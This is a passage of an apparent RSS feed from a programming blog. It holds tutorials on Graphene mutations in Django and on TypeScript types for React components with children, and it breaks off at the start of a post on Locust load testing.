style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/schema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;CreateAnime&lt;/span&gt;(graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Mutation):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;mutate&lt;/span&gt;(root, info, title, description, rating):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        anime &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Anime(title&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;title, description&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;description, rating&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;rating)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        anime&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;save()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ok &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; CreateAnime(anime&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;anime, ok&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;ok)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now that we have our behavior defined let&amp;rsquo;s create our &lt;em&gt;mutation&lt;/em&gt; object, which will be received by the &lt;em&gt;schema&lt;/em&gt;. Notice how all the behavior comes from the class we just created and the &lt;em&gt;Mutation&lt;/em&gt; object only sets the name of the mutation we will use in our query.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/schema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Mutation&lt;/span&gt;(graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ObjectType):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    create_anime &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; CreateAnime&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Field()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;schema &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Schema(query&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Query, mutation&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Mutation)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That&amp;rsquo;s it, the &lt;em&gt;createAnime&lt;/em&gt; mutation receives the three parameters we indicate and returns an anime object and the word ok as a response.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/mutationDeGraphqlEnGraphene.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/mutationDeGraphqlEnGraphene.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Equivalence between the graphene code and the Graphql query&#34; width=&#34;939&#34; height=&#34;574&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;The &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.graphene-python.org/en/latest/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;graphene documentation&lt;/a&gt;&#xA; is quite extensive and there are many more topics, I have only given you the basics and probably what you will use the most, but take a look and read everything graphene has to offer.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;In this post I will explain how Graphene allows you to speed up the process of creating a GraphQL API if you are using the Django Framework, as well as take advantage of the models you have already defined to perform queries or mutations.&lt;/p&gt;&#xA;&lt;p&gt;Normally graphql is used in conjunction with Nodejs and express, or other javascript frameworks, to create a graphql API in which to make queries, but graphql can also be implemented with Python frameworks such as Django. We are going to create a django application that serves content with graphql using a cool library called graphene that abstracts almost all the boilerplate of integrating graphql with Django models.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>What Types to use for React components with children</title>
      <link>https://coffeebytes.dev/en/react/what-types-to-use-for-react-components-with-children/</link>
      <pubDate>Tue, 19 Oct 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/react/what-types-to-use-for-react-components-with-children/</guid>
      
      <category>react</category>
      
      <category>typescript</category>
      
      <category>javascript</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;If you&amp;rsquo;re struggling about what types to use for React components that have children in Typescript, so you can inherit them correctly and avoid errors, then this is the post you need to read, I explain you three different approaches you can save and use as a part of your typescript skills.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Typescript requires that we specify the types for the different variables and function arguments in React. When they are native types it is not intrincate, but for React components it can be different. Here are 3 ways to specify types for React components that contain children as part of their props.&lt;/p&gt;&#xA;&lt;h2 id=&#34;types-with-reactnode&#34;&gt;Types With ReactNode&lt;/h2&gt;&#xA;&lt;p&gt;The easiest way is manually, by specifying children as an optional React node.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; React from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;type props &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    children&lt;span style=&#34;color:#ff6ac1&#34;&gt;?:&lt;/span&gt; React.ReactNode&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ children }&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; Props) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;div&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            {children}      &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;/div&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; MyComponent&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;using-reactfc&#34;&gt;Using React.FC&lt;/h2&gt;&#xA;&lt;p&gt;The second way is to use a FC (Functional Component) object provided by React, which leaves implicit the use of children and also prevents us from returning undefined. Consider that using &lt;em&gt;React.FC&lt;/em&gt; is &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/react/why-using-react.fc-could-be-a-bad-practice/&#34;&gt;considered by some developers as a bad practice&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; React from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; React.FC&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;{}&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ children }) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;div&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            {children}      &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;/div&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; MyComponent&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;reactpropswithchildren&#34;&gt;React.PropsWithChildren&lt;/h2&gt;&#xA;&lt;p&gt;The last way is to make use of the PropsWithChildren object provided by React which, as its name says, already includes the props with the children component, ready to be used directly.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; React from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;type Props &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; React.PropsWithChildren&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;{}&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ children }&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; Props) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;div&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            {children}      &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;/div&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; MyComponent&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;See what Typescript has to say on React at &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.typescriptlang.org/docs/handbook/jsx.html#react-integration&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;their official documentation&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;If you&amp;rsquo;re struggling about what types to use for React components that have children in Typescript, so you can inherit them correctly and avoid errors, then this is the post you need to read, I explain you three different approaches you can save and use as a part of your typescript skills.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Typescript requires that we specify the types for the different variables and function arguments in React. When they are native types it is not intrincate, but for React components it can be different. Here are 3 ways to specify types for React components that contain children as part of their props.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How to measure requests per second with locust in python?</title>
      <link>https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/</link>
      <pubDate>Tue, 12 Oct 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;There are quite simple to use tools that allow us to audit the number of requests per second (rps) that a website supports, locust is one of them, it is made with Python and with a minimal configuration allows us to process information and obtain graphs instantly, and in real time, of the behavior of our website.&lt;/p&gt;&#xA;&lt;h2 id=&#34;install-locust&#34;&gt;Install locust&lt;/h2&gt;&#xA;&lt;p&gt;The first step is to install it using pip or any virtual environment manager.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install &lt;span style=&#34;color:#ff5c57&#34;&gt;locust&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;2.2.3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;locust-configuration&#34;&gt;Locust configuration&lt;/h2&gt;&#xA;&lt;p&gt;Once installed we are going to create a file obligatorily named &lt;em&gt;locustfile.py&lt;/em&gt; in our application and we are going to place the following code in it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; locust &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpUser, task&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;HelloWorldUser&lt;/span&gt;(HttpUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  